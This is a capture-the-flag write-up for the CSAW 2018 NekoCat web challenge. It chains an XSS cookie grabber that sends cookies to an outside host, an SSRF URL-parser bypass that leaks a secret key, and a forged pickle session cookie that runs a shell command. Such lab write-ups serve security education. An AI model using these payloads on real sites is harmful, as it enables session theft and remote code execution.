Tags: web 

Rating:

NekoCat WEB 500

NekoCat

Difficulty: ★★★★★

Link: http://web.chal.csaw.io:1003

Idea

  • Bypass CSP by Abusing XSS Filter using inline
  • Escalate user permissions
  • Abusing URL Parser to read environment variables
  • Craft malicious session lead to RCE

Walkthrough

description provide us the source code of the challenge flagon.zip

we notice that challange uses Python Flask so let's create account and try to see what's happen there http://web.chal.csaw.io:1003/register

NekoCat

we try to post link but we can see only verfied users can preview link

app.py Line:152

if verified_user(session, request.session.get('username'))[0]:
    preview = get_post_preview(link)

so the idea here is to get permession of verfied user in plateform we can trigger an XSS attack to steal cookies from admin maybe but when we dig more in the source code we see there is CSP rules implemented

app.py Line:51

def apply_csp(f):
    @wraps(f)
    def decorated_func(*args, **kwargs):
        resp = f(*args, **kwargs)
        csp = "; ".join([
                "default-src 'self' 'unsafe-inline'",
                "style-src " + " ".join(["'self'",
                                         "*.bootstrapcdn.com",
                                         "use.fontawesome.com"]),
                "font-src " + "use.fontawesome.com",
                "script-src " + " ".join(["'unsafe-inline'",
                                          "'self'",
                                          "cdnjs.cloudflare.com",
                                          "*.bootstrapcdn.com",
                                          "code.jquery.com"]),
                "connect-src " + "*"
              ])
        resp.headers["Content-Security-Policy"] = csp

        return resp
    return decorated_func

CSP is allowing javascript inline resources so we can excute XSS in URL

NekoCat

but hold on xss triggred on when admin click on link

after another dig in plateform we noticed missing part

app.py Line:178

@app.route('/report')
@apply_csp
def report(request):
    #: neko checks for naughtiness
    #: neko likes links
    pass

so there is feature that check links that reported , this the way how our admin checks the inline XSS link

let's craft and cookie grabber

[link]javascript:document.location="http://pwn.com:2128/"+document.cookie

and we listen for the request and report the link for being broken

root@serveur [~]# nc -l 2128
GET /session_data=%22YWzU8XcjGIq5lmuao7nR65VW3yg=?name=gANYCAAAAE5la28gQ2F0cQAu&username=gANYDQAAAG1lb3dfYzdkM2M1MDhxAC4=%22 HTTP/1.1
Host: pwn.com:2128
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5000/post?id=20762&instance=c7d3c508-1b2a-481e-a83e-5e3214938bc5
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Bingo we have the verfied user session so we can preview sites now

NekoCat

lets try to preview site

[link]http://www.google.com

it works

NekoCat

we noticed from captured admin request that refrer is

Referer: http://127.0.0.1:5000/post?id=20762&instance=c7d3c508-1b2a-481e-a83e-5e3214938bc5

running on localhost and there is a route for reading environment variables called flaginfo

flagon.py Line:65

flaginfo_route = "/flaginfo"
        self.routes[flaginfo_route] = flagoninfo
        self.url_map.add(Rule(flaginfo_route, endpoint=flaginfo_route))

and the function flagoninfo()

flagon.py Line:65

def flagoninfo(request):
    if request.remote_addr != "127.0.0.1":
        return render_template("404.html")

    info = {
        "system": " ".join(os.uname()),
        "env": str(os.environ)
    }

    return render_template("flaginfo.html", info_dict=info)

it will be rendred if the ip adress accssed from is localhost we have race condition here but we can use the url previewer to read it for us

let's try

[link]http://127.0.0.1:5000/flaginfo

and we got nothing ??? hmmmmmm

NekoCat

after another dig in source we see that flaginfo is filtred

app.py Line:13

def get_post_preview(url):
    scheme, netloc, path, query, fragment = url_parse(url)

    # No oranges allowed
    if scheme != 'http' and scheme != 'https':
        return None

    if '..' in path:
        return None

    if path.startswith('/flaginfo'):
        return None

    try:
        r = requests.get(url, allow_redirects=False)
    except Exception:
        return None

    soup = BeautifulSoup(r.text, 'html.parser')
    if soup.body:
        result = ''.join(soup.body.findAll(text=True)).strip()
        result = ' '.join(result.split())
        return result[:280]

    return None

we see this commented line

No oranges allowed

and this one

scheme, netloc, path, query, fragment = url_parse(url)

so url been parsed , there is bug discovered by Orange Tsai

that abuse url parsing in diffrent programing languages , even browsers

A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!

after reading this paper if figure out how to push the url path to query

like this

[link]http://127.0.0.1:5000///flaginfo

and bingo we got the environment variables with secret key

SECRET_KEY = 'superdupersecretflagonkey'

NekoCat

so we did fine with all this steps , challenge main goal is to read flag located in flag.txt

hmmmm ? , so we need an RCE at least , after another dig in the sources we found this

class Request(BaseRequest):
    @cached_property
    def session(self):
        data = self.cookies.get("session_data")
        if not data:
            return SecureCookie(secret_key=SECRET_KEY)
        return SecureCookie.unserialize(data, SECRET_KEY)

unserialize maybe an object injection ?????

SecureCookie is library let's check it

from werkzeug.contrib.securecookie import SecureCookie

after dig in github

https://github.com/pallets/werkzeug/blob/master/werkzeug/contrib/securecookie.py

SecureCookie uses pickle

let's try some tests on session first

let's write code that decrypt session

from werkzeug.contrib.securecookie import SecureCookie

SECRET_KEY = 'superdupersecretflagonkey'
data = "YWzU8XcjGIq5lmuao7nR65VW3yg=?name=gANYCAAAAE5la28gQ2F0cQAu&username=gANYDQAAAG1lb3dfYzdkM2M1MDhxAC4="

output :

<SecureCookie {'name': 'Neko Cat', 'username': 'meow_c7d3c508'}>

we succeed in decrypting session let's try now to encrypt the session with difrrent name

import os
import subprocess

from werkzeug.contrib.securecookie import SecureCookie

SECRET_KEY = 'superdupersecretflagonkey'
payload = {'name': '0xdeadbeef', 'username': 'meow_326dcae5'}

x = SecureCookie(payload, SECRET_KEY)

value = x.serialize()
print(value)

output:

x9WxLcbqt6K+XTRjOc/qLId9oaM=?name=gANYCgAAADB4ZGVhZGJlZWZxAC4=&username=gANYDQAAAG1lb3dfMzI2ZGNhZTVxAC4= let's update our session and see the changes now

NekoCat

nice name changed ^^

i'll try to inject an class object to read the flag

import os
import subprocess

from werkzeug.contrib.securecookie import SecureCookie

class Pwn(object):
      def __reduce__(self):
        return (subprocess.check_output, (['cat','flag.txt'],))

SECRET_KEY = 'superdupersecretflagonkey'

payload = {'name': Pwn() , 'username': 'meow_326dcae5'}

x = SecureCookie(payload, SECRET_KEY)

value = x.serialize()
print(value)
print(SecureCookie.unserialize(value, SECRET_KEY))

output:

1YXfVvm1SHcNNZm/KXpktHC/RnM=?name=gANjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcQBdcQEoWAMAAABjYXRxAlgIAAAAZmxhZy50eHRxA2WFcQRScQUu&username=gANYDQAAAG1lb3dfMzI2ZGNhZTVxAC4=

and bingoo here is the flag ^^

NekoCat

flag{werks_on_my_box}

it was realy fun game , thanks CSAW ^^ 0x deadbeef @DC21321

Original writeup (https://github.com/0x890/CTF/blob/master/CSAW18/Neko%20Cat/readme.md).